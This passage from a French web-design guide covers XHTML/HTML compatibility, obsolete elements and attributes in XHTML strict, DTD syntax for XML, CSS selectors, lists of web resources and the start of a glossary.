Quand une valeur d’attribut contient une éperluette, l’attribut doit être
exprimé comme une référence d’entité du caractère (par exemple
&amp;). Par exemple, quand l’attribut href de l’élément a pointe vers
un script CGI qui accepte des paramètres, il doit être exprimé comme
ceci :
[Link]

plutôt que comme ça :

[Link]

Attributs id et name
HTML 4 a défini l’attribut name pour les éléments a, applet, form,
frame, iframe, img et map. HTML 4 a également introduit l’attribut
id. Ces deux attributs ont été conçus pour être utilisés comme des
identificateurs partiels.

En XML, les identificateurs partiels sont de type ID, et il ne peut y avoir

qu’un unique attribut ID par élément. En XHTML 1.0, l’attribut id est
aussi défini de type ID. Pour s’assurer que les documents XHTML 1.0
sont des documents XML correctement structurés, les documents
XHTML 1.0 doivent utiliser l’attribut id quand l’identificateur partiel
est défini, même sur les éléments qui possèdent historiquement aussi un
attribut name.

En XML, un URI qui termine par un identificateur partiel de la forme

#foo ne se réfère pas aux éléments possédant un attribut name="foo",
mais aux éléments possédant un attribut défini de type ID, soit l’attribut
id de HTML 4. Beaucoup de clients HTML existants ne maintiennent
pas l’utilisation des attributs de type ID de cette manière, donc des
valeurs identiques doivent être fournies pour les deux attributs afin
d’assurer des compatibilités ascendante et descendante maximales (par
exemple, <a id="foo" name="foo">...</a>).

LE GUIDE COMPLET 517

 Chapitre 12 Annexes

Également, depuis que l’ensemble des valeurs légales définies pour les
attributs de type ID est bien plus restreint que pour ceux de type CDATA,
le type de l’attribut name a été changé en NMTOKEN. Cet attribut est
contraint de manière à ce qu’il ne puisse pas avoir d’autres valeurs que
celles de type ID, ou comme la production Name en XML 1.0 Section
2.5, production 5. Malheureusement, cette contrainte ne peut pas être
exprimée dans les DTD XHTML 1.0. À cause de ces changements, la
plus grande précaution est de rigueur lors de la conversion de vos
documents HTML existants. Les valeurs de ces attributs doivent être
uniques à l’intérieur d’un document, valides, et toute référence à ces
identificateurs partiels (qu’ils soient internes ou externes) doit être mise
à jour, même si les valeurs doivent être changées durant la conversion.

XHTML 1.0 a abandonné l’attribut name des éléments a, applet,

form, frame, iframe, img et map, et il sera éliminé dans les versions
suivantes.

Attributs lang et xml:lang

Utilisez les deux attributs lang et xml:lang lorsque vous spécifiez le
langage d’un élément. La valeur de l’attribut xml:lang est prioritaire.

Exclusions SGML
SGML permet au rédacteur d’une DTD d’exclure la présence de certains
éléments à l’intérieur d’un élément. Une telle interdiction (appelée
« exclusion ») n’est pas possible en XML.

Par exemple, la DTD HTML 4 stricte interdit l’emboîtement d’un

élément a dans un autre élément a à quelque profondeur que ce soit. Il
n’est pas possible de définir ce type d’interdiction en XML. Même si
cette interdiction ne peut pas être définie dans la DTD, certains éléments
ne devraient pas être emboîtés.

Instructions de traitement
Vérifiez que les instructions de traitement s’exécutent sur les agents
utilisateurs. Si la déclaration XML n’est pas incluse dans un document,
le document peut uniquement employer les jeux de caractères par défaut
UTF-8 ou UTF-16.

518 LE GUIDE COMPLET

 Compatibilité XHTML/HTML Chapitre 12

Modèle Objet de Document et XHTML

La Recommandation de Modèle Objet de Document niveau 1 définit les
interfaces du Modèle Objet de Document pour XML et HTML 4. Le
Modèle Objet de Document du HTML 4 spécifie que les noms des
éléments et des attributs HTML sont retournés en casse « majuscules ».
Le Modèle Objet de Document XML spécifie que les noms des éléments
et des attributs sont retournés dans la casse spécifiée. En XHTML 1.0,
les noms des éléments et des attributs sont spécifiés dans la casse
« minuscules ». Cette différence apparente peut être fixée de deux
manières :
j Les applications qui accèdent à des documents XHTML distribués
avec le type de média Internet text/html via le DOM peuvent
utiliser le DOM HTML et s’appuyer sur des noms d’éléments et
d’attributs retournés en majuscules par ces interfaces.
j Les applications qui accèdent à des documents XHTML distribués
avec le type de média Internet text/html ou
application/xml peuvent également utiliser le DOM XML.
Les noms des éléments et des attributs sont renvoyés en casse
« minuscules ». Quelques éléments XHTML peuvent ou non
apparaître dans l’arbre d’objets, car ils sont facultatifs dans le
modèle de contenu (par exemple l’élément tbody à l’intérieur
d’un tableau table). Cela se produit parce qu’en HTML 4
quelques éléments pouvaient être minimisés et leurs balises de
début et de fin pouvaient être toutes les deux omises (une
fonctionnalité SGML). Ce n’est pas possible en XML. Plutôt que
de demander aux auteurs de documents d’insérer des éléments
hors contexte, XHTML a rendu facultatifs les éléments. Les
applications ont besoin de s’adapter en respectant cela.

Feuilles de style imbriquées (CSS) et XHTML

La Recommandation des feuilles de style imbriquées niveau 2 définit les
propriétés appliquées à l’arbre d’analyse grammaticale du document
HTML ou XML. Les différences dans l’analyse produiront différents
résultats sonores ou visuels, selon les sélecteurs utilisés. Les indicateurs
suivants réduisent cet effet pour des documents distribués sans
modification des deux types de médias :
j Les feuilles de style CSS pour le XHTML doivent employer des
noms d’éléments et d’attributs de casse « minuscules ».

LE GUIDE COMPLET 519

 Chapitre 12 Annexes

j Dans les tableaux, l’élément tbody sera déduit par le parseur

d’un agent utilisateur HTML, mais pas par le parseur d’un agent
utilisateur XML. Par conséquent, vous devez toujours ajouter
explicitement un élément tbody s’il se réfère à un sélecteur CSS.
j Au sein de l’espace de noms XHTML, les agents utilisateurs
reconnaissent l’attribut id comme un attribut de type ID. Par
conséquent, les feuilles de style doivent pouvoir continuer à
employer la syntaxe raccourcie # du sélecteur même si l’agent
utilisateur ne lit pas la DTD.
j Au sein de l’espace de noms XHTML, les agents utilisateurs
reconnaissent l’attribut class. Par conséquent, les feuilles de
style doivent pouvoir continuer à employer la syntaxe raccourcie
« . » du sélecteur.
j Les CSS définissent des règles de conformité différentes pour les
documents HTML et XML. Les règles HTML s’appliquent aux
documents XHTML distribués en tant que HTML, les règles
XML aux documents XHTML distribués comme XML.

DTD XHTML
Comme pour HTML, XHTML existe en trois « parfums » : strict,
transitoire et jeux d’encadrement. Ces trois versions sont respectivement
déclarées comme suit :
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"[Link]
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"[Link]
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Frameset//EN"
"[Link]

La variante frameset reprend tous les balises et attributs de la variante

transitional. Deux balises ont été rajoutée : frameset et frame.

Différences entre strict et transitional

L’analyse des différences permet de traduire facilement un document
non conforme, ou conforme HTML 4.01 transitional, en document
XHTML 1.0 strict. La variante strict oblige une séparation du contenu et
de la présentation. Cela implique donc la suppression de tous les
éléments et attributs de mise en forme, et l’obligation de passer par les
CSS.

520 LE GUIDE COMPLET

 Compatibilité XHTML/HTML Chapitre 12

Le Tableau B.1 présente les éléments devenus obsolètes en XHTML

strict et leurs alternatives.

Tableau 12.7 : Éléments obsolètes en XHTML strict

Élément Alternative

frameset, Utilisez la variante frameset du XHTML

frame
iframe Utilisez la variante transitional du XHTML

font, Utilisez les styles CSS font et ses dérivés :

basefont font−family, font−size, font−weight, etc.
u Style text−decoration : underline;

s, strike Style text−decoration : line−through;

menu, dir Ces balises ont en fait la même fonction que ul ; seule
l’apparence par défaut change. Remplacez-les par une
liste ul et modifiez l’apparence avec les styles
list−style et leurs dérivés (list−style−type,
etc.), et éventuellement margin ou padding.

center Le style text−align : center; à mettre sur

l’élément parent pour centrer des éléments de type en
ligne. Sur les éléments de type bloc, les styles
suivants : margin−left : auto; margin−right :
auto;
isindex Élément input

applet ÉÉlément object

Le Tableau suivant présente les attributs devenus obsolètes en XHTML

strict et leurs alternatives.

Tableau 12.8 : Attributs obsolètes en XHTML strict

Attribut Éléments concernés Alternative

Align div, p, h1 à h6, hr, Style text−align sur

object, img, input, l’élément parent pour aligner
legend, table, des éléments de type en
caption ligne. Sur des éléments de
type bloc, les styles
suivants : margin−left,
margin−right.

LE GUIDE COMPLET 521

 Chapitre 12 Annexes

Tableau 12.8 : Attributs obsolètes en XHTML strict

Attribut Éléments concernés Alternative

background body Style background−image,

qui peut être employé
conjointement avec les styles
background−position et
background−repeat pour
positionner et définir la
répétition de l’image de fond.
Il est possible d’utiliser ces
styles sur pratiquement tous
les éléments.

bgcolor body, table, tr, td, Style background−color

th
border object, img Style border

clear Br Style clear

compact Ul, ol, dl Jouer sur les styles margin

ou padding

height Td, th Style height

hspace, object, img Style margin

vspace
language script Aucun. L’attribut type
suffit : script
type="text/javascript".
link, alink, body Définissez un style par défaut
vlink sur l’élément a ainsi que sur
les pseudo-classes :link ,
:visited et :active.
name img, form Utilisez l’attribut id

Noshade hr Ensemble des styles border

, en particulier
border−style.
Nowrap th, td Style white−space :
nowrap;
Size hr Style height

start Ol Utilisez les styles pour gérer

des compteurs

target base, link, a, area, Aucun

form

522 LE GUIDE COMPLET

 DTD et XML Chapitre 12

Tableau 12.8 : Attributs obsolètes en XHTML strict

Attribut Éléments concernés Alternative

text body Style color

type ul, ol, li Style list−style

value li Utilisez les styles pour gérer

des compteurs

width hr, pre, td, th Style width

Remarquez par ailleurs que, au sein des éléments form, noscript et

blockquote , il ne peut plus y avoir d’éléments de type en ligne.

Pour convertir rapidement et de façon correcte un document HTML en

document au format XHTML, servez-vous de HTML Tidy ou de
l’éditeur/navigateur Amaya.

12.4. DTD et XML

XML a recours à un fichier nommé DTD (Document Type Definition,
définition de document type) pour vérifier qu’un document XML
respecte une syntaxe donnée. Une DTD constitue une grammaire qui
permet de vérifier la conformité du document XML. La norme XML
n’impose pas l’utilisation d’une DTD pour un document XML, mais elle
impose en revanche le respect exact des règles de base de la norme
XML.

La terminologie XML emploie les définitions suivantes :

j Document bien formé pour un document qui ne comporte pas de
DTD mais respecte les exigences de la spécification.
j Document valide pour un document qui se conforme strictement
aux règles d’une DTD.

Une DTD peut être définie de 2 façons :

j De façon interne : la grammaire est incluse au sein même du
document.
j De façon externe : soit en appelant un fichier qui contient la
grammaire à partir d’un fichier local, soit en y accédant par son
URL.

LE GUIDE COMPLET 523

 Chapitre 12 Annexes

C’est cette dernière solution qui est adoptée par les fichiers HTML :
HTML 4 étant fondé sur XML, il repose sur des DTD. Vous l’avez vu
lors de l’écriture de pages Web, puisque tout fichier HTML débute en
principe par la spécification de la DTD employée :
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
"[Link]

La préhistoire du développement de sites Web a fait croire à de

nombreux concepteurs que le HTML pouvait s’écrire de manière assez
libre, le navigateur se chargeant de rattraper les bêtises et d’afficher la
page tant bien que mal.

C’est évidemment totalement faux. Cela n’était dû qu’au simple fait que
les agents utilisateurs de l’époque étaient non validants, incapables de
gérer correctement et totalement les spécifications des langages Web.
C’est pourquoi un concepteur doit encore se battre pour faire
fonctionner un site dans les principaux navigateurs.

Il est donc utile de s’intéresser un peu plus à la structure d’une DTD.

Savoir lire une DTD est en effet presque obligatoire pour toute personne
devant produire du code (XML, (X)HTML, etc.) valide. Une DTD
constitue une référence beaucoup plus rapide à consulter que les longues
spécifications publiées par le W3C. Elle indique clairement ce que le
navigateur est en droit d’attendre.

Déclaration d’un élément

Pour pouvoir créer un document XML, il est utile dans un premier
temps de définir les éléments qui peuvent être employés, et plus
exactement les informations que vous souhaitez utiliser.

La définition d’un élément répond à la syntaxe suivante :

<!ELEMENT Nom Modèle >

Le paramètre modèle représente soit un type de données prédéfini, soit

une règle d’utilisation de l’élément. Les types prédéfinis utilisables sont
présentés dans le Tableau D.1.

Tableau 12.9 : Types prédéfinis pour un élément

Type prédéfini Description

ANY L’élément peut contenir tout type de données

524 LE GUIDE COMPLET

 DTD et XML Chapitre 12

Tableau 12.9 : Types prédéfinis pour un élément

Type prédéfini Description

EMPTY L’élément ne contient pas de données spécifiques

#CDATA Le contenu n’est pas interprété par l’agent utilisateur

#PCDATA L’élément doit contenir une chaîne de caractères. Ce

contenu est interprété par l’agent utilisateur.

Autrement dit, un élément avec un contenu de type #PCDATA (parsed

character data) verra ce contenu interprété par le navigateur, les balises
éventuelles étant traitées comme telles, tandis qu’avec #CDATA le
contenu est considéré comme une simple chaîne de caractères...

Ainsi un élément nommé titre contenant un type #PCDATA sera

déclaré comme suit dans la DTD :
<!ELEMENT titre (#PCDATA) >

Ecriture de #PCDATA
Le mot-clé #PCDATA doit impérativement figurer entre parenthèses.
Vous obtiendrez sinon une erreur du parseur.

Cet élément pourra être écrit de la façon suivante dans le document

XML :
<titre>Bible C++</titre>

Il est également possible de définir des règles d’utilisation : les éléments

XML qu’un élément peut ou doit contenir. Cette syntaxe se fait à l’aide
de notations spécifiques, présentées dans le Tableau D.2 :

Tableau 12.10 : Opérateurs des règles d’utilisation d’un élément

Opérateur Exemple Signification

+ a+ L’élément a doit être présent au minimum une fois

* a* L’élément a peut être présent plusieurs fois (ou

aucune)

? a? L’élément a est facultatif.

| a|b Les éléments a ou b peuvent être présents

LE GUIDE COMPLET 525

 Chapitre 12 Annexes

Tableau 12.10 : Opérateurs des règles d’utilisation d’un élément

Opérateur Exemple Signification

, a,b L’élément a doit être présent et suivi de l’élément

b
() (a,b)+ Regroupement d’éléments en vue de leur appliquer
les autres opérateurs. Ici, la présence d’un
élément a suivi d’un élément b est obligatoire.

Vous pouvez ainsi créer la déclaration suivante dans une DTD :

<!ELEMENT livre (titre,editeur,auteur,date),url? >
<!ELEMENT titre (#PCDATA) >
<!ELEMENT editeur (#PCDATA) >
<!ELEMENT auteur (#PCDATA) >
<!ELEMENT url (#PCDATA) >

Cette déclaration peut aboutir à un document XML du style :

<livre>
<titre>La Bible C++</titre>
<editeur>Micro Application </editeur>
<auteur>Horstamn C, Budd T. </auteur>
<date>2004</date>
<url>[Link] </url>
</livre>

ou bien :
<livre>
<titre>La Bible C++</titre>
<editeur>Micro Application </editeur>
<auteur>Horstamn C, Budd T. </auteur>
<date>2004</date>
</livre>

Déclaration d’attributs
Vous pouvez ajouter des propriétés à un élément particulier en lui
affectant un attribut, c’est-à-dire une paire clé/valeur. Avec XML, la
syntaxe de définition d’un attribut est la suivante :
<! ATTLIST élément attribut type >

type représente le type de donnée de l’attribut. Il peut être :

j Littéral : vous affectez une chaîne de caractères à un attribut. Vous

le déclarez ainsi à l’aide du mot-clé CDATA.

526 LE GUIDE COMPLET

 DTD et XML Chapitre 12

j Énumération : permet de définir une liste de valeurs possibles

pour un attribut donné, afin de limiter le choix de l’utilisateur. La
syntaxe de ce type d’attribut est :
<! ATTLIST élément attribut (valeur1 | valeur2 | ... ) >

j Pour définir une valeur par défaut, faites suivre l’énumération par
la valeur désirée placée entre guillemets :
<! ATTLIST élément attribut (valeur1 | valeur2 )
"valeur_par_défaut" >

j Atomique : permet de définir un identifiant unique pour chaque

élément grâce au mot-clé ID.

Chacun de ces types d’attributs peut être suivi d’un mot-clé particulier
qui permet de spécifier le niveau de nécessité de l’attribut :
j #IMPLIED : l’attribut est facultatif.
j #REQUIRED : l’attribut est obligatoire.
j #FIXED : l’attribut possède une valeur par défaut s’il n’est pas
défini. Il doit être immédiatement suivi de la valeur placée entre
guillemets.

Une déclaration d’attribut peut ainsi se présenter comme ceci :

<! ATTLIST livre IDlivre ID #REQUIRED
niveau(debutant|intermediaire|expert)"expert" >

L’élément livre possède deux attributs IDlivre et niveau. Le premier

attribut est de type atomique : c’est un identifiant unique obligatoire.
L’attribut niveau peut être débutant, intermédiaire ou expert, cette
dernière valeur étant affectée par défaut.

Déclaration de notations
XML permet la définition d’une application par défaut à lancer pour
ouvrir des documents non XML encapsulés dans le code XML. Il est
ainsi possible d’associer les images JPG au programme Paint Shop Pro
([Link]) grâce à la syntaxe suivante :
<! NOTATION jpg SYSTEM "[Link]">

LE GUIDE COMPLET 527

 Chapitre 12 Annexes

Déclaration d’entités
XML permet de créer des entités, c’est-à-dire de déclarer un groupe
d’éléments sous un nom afin de ne pas avoir à réécrire ces derniers
plusieurs fois dans la DTD s’ils se répètent, dans le même esprit que les
macros dans les éditeurs de texte. Le recours à des entités dans un
document XML permet une meilleure lisibilité, un meilleur contrôle du
contenu et améliore la facilité de mise à jour.

XML possède plusieurs types d’entités : les entités générales, les entités
paramètres et les entités caractères.

Entités générales
Les entités générales servent à définir des éléments pouvant être
substitués dans le corps du document XML (même s’ils sont définis au
sein de la DTD et non du document XML lui-même). La syntaxe d’une
entité générale est la suivante :
<!ENTITY nom_entite "Contenu de l’entite">

Il est par exemple possible de déclarer l’entité générale suivante dans la

DTD :
<!ENTITY site "[Link]">

Les entités définies dans la DTD peuvent ainsi être utilisées dans le code
XML en les appelant avec la syntaxe suivante :
&nom__entite;

La déclaration précédente pourra donc donner un document XML du

style :
<livre>
<titre>La Bible C++</titre>
<editeur>Micro Application </editeur>
<auteur>Horstamn C, Budd T. </auteur>
<date>2004</date>
<url>www.@&site;</url>
</livre>

Le parseur transformera automatiquement chacune des entités contenues

dans le code XML en chaîne de caractères :
<livre>
<titre>La Bible C++</titre>
<editeur>Micro Application </editeur>
<auteur>Horstamn C, Budd T. </auteur>

528 LE GUIDE COMPLET

 DTD et XML Chapitre 12

<date>2004</date>
<url>[Link]</url>
</livre>

Les entités générales peuvent aussi être contenues dans un fichier

extérieur (afin d’être utilisées par plusieurs DTD, par exemple). Elles
portent alors le nom d’entités externes. La syntaxe d’une entité externe
est la suivante :
<!ENTITY nom_entite SYSTEM "nom_fichier">

Dans l’exemple suivant, le contenu du fichier [Link] (situé dans le même

répertoire que la DTD) sera inséré dans le fichier XML à chaque fois
que l’entité &niv; sera rencontrée :
<!ENTITY niv SYSTEM "[Link]">

Entités paramètres
Une entité paramètre permet d’employer des entités dans les DTD
elles-mêmes. La syntaxe est la suivante :
<!ENTITY % nom_entite definition>

Le nom de l’entité doit toutefois respecter certaines règles :

j Commencer par une lettre ou un trait de soulignement (underscore
_).
j Être composé uniquement de lettres, de chiffres, de tirets (−), de
traits de soulignement (_), de points (.) ou du caractère deux
points (:).

Voici un exemple de déclaration d’entité paramètre :

<!ENTITY % niv #REQUIRED
niveau(debutant|intermediaire|expert) "expert">

Il est également possible (comme pour les entités générales) de définir

une entité paramètre externe grâce à la syntaxe suivante :
<!ENTITY % nom_entite SYSTEM "[Link]">

La DTD [Link] sera un fichier comportant la déclaration

d’entité paramètre :
<!ENTITY % nom_entite "definition">

LE GUIDE COMPLET 529

 Chapitre 12 Annexes

Entités caractères
Les entités caractères sont des caractères réservés du XML représentés
sous forme d’entités générales afin de pouvoir insérer ces caractères
réservés dans le document XML. Les principales entités caractères sont
présentées dans le Tableau D.3.

Tableau 12.11 : Principales entités caractère

Entité caractère Représentation

&amp; &

&lt; <

&gt; >

&apos; ’

&quot; "

Il est également possible de définir des entités caractères pour n’importe

quel caractère en utilisant le code hexadécimal du caractère :
<!ENTITY nom_entite "&#xCODEHEXA;">

Par exemple :
<!ENTITY ccedille "&#x00E7;">

Même si cette annexe peut sembler succincte, elle devrait vous

permettre de mieux comprendre les DTD des spécifications HTML 4.01
et XHTML 1.

12.5. Sélecteurs CSS

La version 3 des sélecteurs CSS ([Link]
-updates/[Link]) propose des sélecteurs
nombreux et très sophistiqués, capables de répondre désormais à
pratiquement toutes les situations. Les sélecteurs sont classés dans le
tableau suivant par ordre d’apparition dans les versions CSS, afin de
montrer l’évolution.

530 LE GUIDE COMPLET

 Sélecteurs CSS Chapitre 12

Tableau 12.12 : Evolution des sélecteurs CSS de la version 1 à la version 3

Motif Signification CCS

E Un élément de type E 1

E:link/visited Un élément E d’une ancre hypertexte dont la 1

cible n’a pas encore été visitée (:link) ou
l’a été (:visited)

E::first−line Le première ligne mise en forme d’un 1

élément E

E::first−letter La première letttre mise en forme d’un 1

élément E

[Link] Un élément E dont la classe est « warning ». 1

Le langage du document spécifie le mode de
détermination de la classe.

E#monid Un élément E dont l’ID est « monid ». 1

E F Un élément F descendant d’un élément E 1

E:active/hover/focus Un élément E pendant certaines actions de 1 et 2

l’utilisateur

* N’importe quel élément 2

E[attribut] Un élément E avec un attribut « attribut » 2

E[attribut="valeur"] Un élément E avec un attribut « attribut » 2

dont la valeur est « valeur »

E[attribut~="valeur"] Un élément E avec un attribut « attribut » 2

dont la valeur est une liste de valeurs
séparées par des virgules dont l’une est
égale à « valeur »

E:first−child Un élément E, premier enfant de son parent 2

E:lang(fr) Un élément E en langue « fr ». Le langage 2

du document spécifie le mode de
détermination de la langue

E::before Contenu généré avant un élément E 2

E::after Contenu généré après un élément E 2

E > F Un élément F enfant d’un élément E 2

E + F Un élément F immédiatement précédé par 2

un élément E

E[attribut^="valeur"] Un élément E avec un attribut « attribut » 3

dont la valeur commence exactement par la
chaîne « valeur »

LE GUIDE COMPLET 531

 Chapitre 12 Annexes

Tableau 12.12 : Evolution des sélecteurs CSS de la version 1 à la version 3

Motif Signification CCS

E[attribut$="valeur"] Un élément E dont la valeur de l’attribut 3
« attribut » se termine exactement par la
chaîne « valeur »

E[attribut*="valeur"] Un élément E dont la valeur de l’attribut 3

« attribut » contient la sous-chaîne « valeur »

E[hreflang|="en"] Un élément E dont l’attribut « hreflang » 3

contient une liste séparée par des tirets qui
commence (à gauche) par « en »

E:root Un élément E racine du document 3

ième
E:nth−child(n) Un élément E, n enfant de son parent 3
ième
E:nth−last−child(n) Un élément E, n enfant de son parent en 3
partant du dernier

E:nth−of−type(n) Un élément E, nième descendant de ce type 3

ième
E:nth−last−of−type(n) Un élément E, n descendant de ce type 3
à partir du dernier

E:last−child Un élément E, nième dernier enfant de son 3

parent

E:first−of−type Un élément E, premier descendant de ce 3

type

E:last−of−type Un élément E, dernier descendant de ce 3

type

E:only−child Un élément E, seul enfant de son parent 3

E:only−of−type Un élément E, seul descendant de ce type 3

E:empty Un élément E dépourvu d’enfant (y compris 3

tout nœud texte)

E:target Un élément E cible de l’URI 3

E:enabled/disabled Un élément d’interface utilisateur E activé ou 3

désactivé

E:checked Un élément d’interface utilisateur E coché 3

(bouton d’option ou case à cocher)

E::selection La portion d’un élément E actuellement 3

sélectionnée/mise en surbrillance par
l’utilisateur

E:not(s) Un élément E qui ne correspond pas au 3

sélecteur simple s

E ~ F Un élément F précédé par un élément E 3

532 LE GUIDE COMPLET

 Ressources Web Chapitre 12

Comme le montre ce tableau, les possibilités d’enrichissement d’un

contenu à l’aide d’une feuille de style sont désormais extrêmement
riches. CSS permet en outre de combiner à l’aide d’opérateurs les
sélecteurs simples, ce qui élargit encore le champ des possibilités.

12.6. Ressources Web

De nombreuses autres ressources sont présentes sur le Web : il est
fortement recommandé d’y accéder, car les ressources en ligne sont
actualisées plus fréquemment que ne peut l’être cet ouvrage.

Spécifications
Spécification HTML 4.01 : [Link]/TR/html401 (anglais), [Link]-grange
.net/w3c/html4.01/[Link] (français).
Spécification du Modèle Objet de Document (DOM) : [Link]/TR
/REC-DOM-Level-1/
Recommandation XHTML 1.0 : [Link]/TR/2002/REC-xhtml1-20020801/
(anglais), [Link]/w3c/xhtml1/ (français).
Site Web Unicode : [Link]/

Outils de création Web

Logiciel commerciaux
WebExpert : [Link]
.html
Adobe Golive : [Link]/products/golive/[Link]
Namo Web Editor : [Link]/products/[Link]
HotDog Professional 7.0.1 : [Link]/
WebFast : [Link]/

Logiciels gratuits
1st Page 2000 : [Link]/[Link]
Amaya : [Link]/Amaya/
Mozilla Composer : [Link]/mozilla/[Link]
Téléchargement de la suite Mozilla : [Link]/fr/
Netscape Composer : [Link]

LE GUIDE COMPLET 533

 Chapitre 12 Annexes

Nvu : [Link] Le site principal anglais est

[Link] Un tutoriel très complet couvrant l’installation, la
configuration et l’utilisation de Nvu (fondé sur la version 0.9) est
également proposé sur le site de Framasoft ([Link]/article2656
.html).
SoThink HTML Editor (CutePage) : [Link]/htmleditor/

Navigateurs
Internet Explorer : [Link]/france/internet/produits/ie/[Link]
Netscape Navigator : [Link]/telechargement
/netscape7/
Mozilla : [Link]/fr/
Firefox : [Link]/fr/products/Firefox/
Un excellent comparatif entre Internet Explorer et Firefox est proposé à
l’adresse [Link]
Opera : [Link]/
Camino : [Link]/fr/
Lynx : un excellent tutoriel en français peut être trouvé à l’adresse
[Link] La page officielle est http:
//[Link]/
pwWebSpeak : une version de démonstration de ce navigateur texte-
parole peut être trouvée à l’adresse [Link]

Images
Fonds d’écran : [Link]/tuiles/modeles/[Link]?page=1
Ulead SmartSaver : [Link]/webutilities/[Link]
Paint Shop Pro (129 $): [Link]/products/paintshoppro/
The Gimp : [Link]
SRGB : un espace de couleur par défaut standard pour Internet, version
1.10, M. Stokes, M. Anderson, S. Chandrasekar et R. Motta, 5 novembre
1996. [Link]/Graphics/Color/sRGB

Sites de gifs animés

[Link]/
[Link]/
[Link]/
[Link]/gif/

534 LE GUIDE COMPLET

 Ressources Web Chapitre 12

[Link]/
[Link]/

Éditeurs d’images animées

Microsoft Gif Animator (gratuit) : [Link]/telecharger/windows/fiche
/0,39021313,11010272s,[Link]
A Smaller GIF (28 $) : [Link]/smaller/[Link]
[Link] (28 $) : [Link]/ggg/[Link]
Ulead GIF Animator 5 (49 $) : [Link]
Animated Shop/Paint Shop Pro (29/129 $) : [Link]/products
/paintshoppro/

Feuilles de style
Spécification CSS2 : [Link]/TR/REC-CSS2/[Link]#minitoc
Propriétés des feuilles de style CSS2 : [Link]/TR/REC-CSS2/propidx
.html
Spécifications sur les règles d’héritage CSS2 : [Link]/TR/REC-CSS2
/[Link]
Le W3C a créé plusieurs styles basiques à utiliser sur une page Web.
Visitez [Link]/StyleSheets/Core/
Vous trouverez l’ensemble des propriétés des feuilles de style auditives à
l’adresse [Link]/TR/REC-CSS2/[Link]

Scripts

JavaScript
Pour commencer, visitez [Link]/webmonkey/javascript/
La JavaScript Source d’Internet World se situe à l’adresse [Link]
.[Link]/
HotSyte ([Link]/hotsyte/) propose des ressources JavaScript,
offrant de nombreux programmes téléchargeables.
Il existe des dizaines de sites consacrés à des exemples de code
JavaScript, parmi lesquels [Link], [Link]/,
[Link]/, [Link]/ et bien d’autres.
Le groupe de discussion Usenet [Link] est un bon endroit
où poser des questions et obtenir les informations les plus fraîches sur
JavaScript.

LE GUIDE COMPLET 535

 Chapitre 12 Annexes

Une foire aux questions (FAQ) JavaScript peut être trouvée à l’adresse
[Link]
Une excellente ressource JavaScript est située à l’adresse www
.[Link]/javascript

JScript
La page officielle du créateur Microsoft est [Link]
/library/[Link]?url=/library/en-us/script56/html
/[Link]
Vous trouverez d’autres exemples aux adresses [Link]/jscript/ et
[Link]/jscript/ (entre autres).
Vous pouvez trouver des milliers de scripts JavaScript à l’adresse
[Link]

ECMA-Script
[Link]/publications/standards/[Link]

VBScript
La page officielle du créateur Microsoft se trouve à l’adresse [Link]
.[Link]/library/[Link]?url=/library/en-us/script56/html/vtorivbscript
.asp
Vous trouverez d’autres exemples et tutoriels aux adresses www
.[Link]/corner/wrox/progref/vbt/, [Link]/vbscript/, www
.[Link]/tutorial/scripting/[Link] (entre autres).

Java
De nombreuses ressources de script sont disponibles à l’adresse [Link]
.org/ Ce site propose d’ailleurs des ressources sur pratiquement tous les
sujets abordés dans ce livre.
De nombreuses autres ressources Java, parmi lesquelles des applets,
peuvent être trouvées à l’adresse [Link]/java/

Cookies
La foire aux questions (FAQ) Unofficial Cookie se trouve à l’adresse
[Link]/unofficial_cookie_faq.htm

536 LE GUIDE COMPLET

 Ressources Web Chapitre 12

Modules complémentaires
Shockwave : [Link]/shockwave/download/[Link]?P1
_Prod_Version=ShockwaveFlash
Adobe Acrobat Reader : [Link]/products/acrobat/[Link]
RealPlayer : [Link]
Ressources MIDI : [Link]
QuickTime : [Link]/quicktime/download/[Link]

Logiciels FTP
CuteFTP : [Link]/cuteftp/
LeechFTP : [Link] Ce
produit, dont il existe une version française, va prochainement être
remplacé par BitBeamer, du même auteur.
WS- FTP 95 : nombreux sites, dont [Link]/8zwd7
/ws_ftp_95_le.htm
FileZilla : nombreux sites, dont le site officiel [Link]
/[Link]?group_id=21558.

Vous pourrez télécharger de nombreux autres clients FTP gratuits à

partir des adresses suivantes :
[Link]/telecharger/windows/Internet/ftp/
[Link]/[Link]?id=57
[Link]/[Link]
[Link]
et bien d’autres encore…

LE GUIDE COMPLET 537

Glossaire
 Chapitre 13 Glossaire

A
Accessibilité : Procurer un accès universel à un site Web à l’aide de
n’importe quel dispositif entrée-sortie comme : reconnaissance vocale,
lecteurs d’écran ou interpréteurs braille, dispositifs de pointage non
standard et TTY.

ActiveX : Technique propriétaire Microsoft permettant au navigateur

Web d’incorporer et de contrôler des applications dans une page Web.

Adresse IP : Numéro unique utilisé par les ordinateurs afin de

s’identifier sur Internet. Les utilisateurs se connectant par modem
téléphonique possèdent souvent des adresses IP dynamiques, afin de
minimiser le nombre d’IP disponibles.

Alignement : Positionnement du contenu d’une page par rapport aux

marges : gauche, droite ou centré.

Animation : Graphisme à multiples images, un fichier Shockwave ou

une applet d’animation Java semblant s’animer à l’écran.

API (Application Programming Interface) : Dans un serveur Web, un

environnement de programmation permettant la rédaction de
programmes intégrés pour des scripts côté serveur ou autres tâches du
serveur.

Applet : Miniprogramme, généralement écrit en Java, qui exécute une

application contenue dans une page Web.

Application : Programme indépendant qui possède un but particulier. Un

programme JavaScript, une applet Java ou même un ensemble de pages
Web peuvent constituer une application.

Architecture : Combinaison d’un microprocesseur et du matériel

identifiant un modèle d’ordinateur (x86, SPARC, Macintosh, etc.).

Archive : Un ou plusieurs fichiers renfermant d’autres fichiers dans un

but de sauvegarde ou de référence ultérieure.

ASCII : Données en texte pur, ni codées ni compressées.

Aspect : Combinaison des couleurs de document, des images et des

outils de navigation conférant à un site une image homogène.

540 LE GUIDE COMPLET

 Chapitre 13

Assistant : Petit programme, le plus souvent incorporé à un autre

programme, automatisant une tâche complexe ou guidant à travers les
étapes successives d’un concept peu familier.

Attribut : Influe sur un élément HTML. Un attribut détermine les

propriétés d’un élément.

Attribut (déclaration d’) : En XML, une déclaration d’attribut définit la

façon dont les attributs peuvent être utilisés et dans quels éléments.

Auditive (feuille de style) : Feuille de style en cascade (CSS) contenant

des propriétés spécifiques aux navigateurs Web audio.
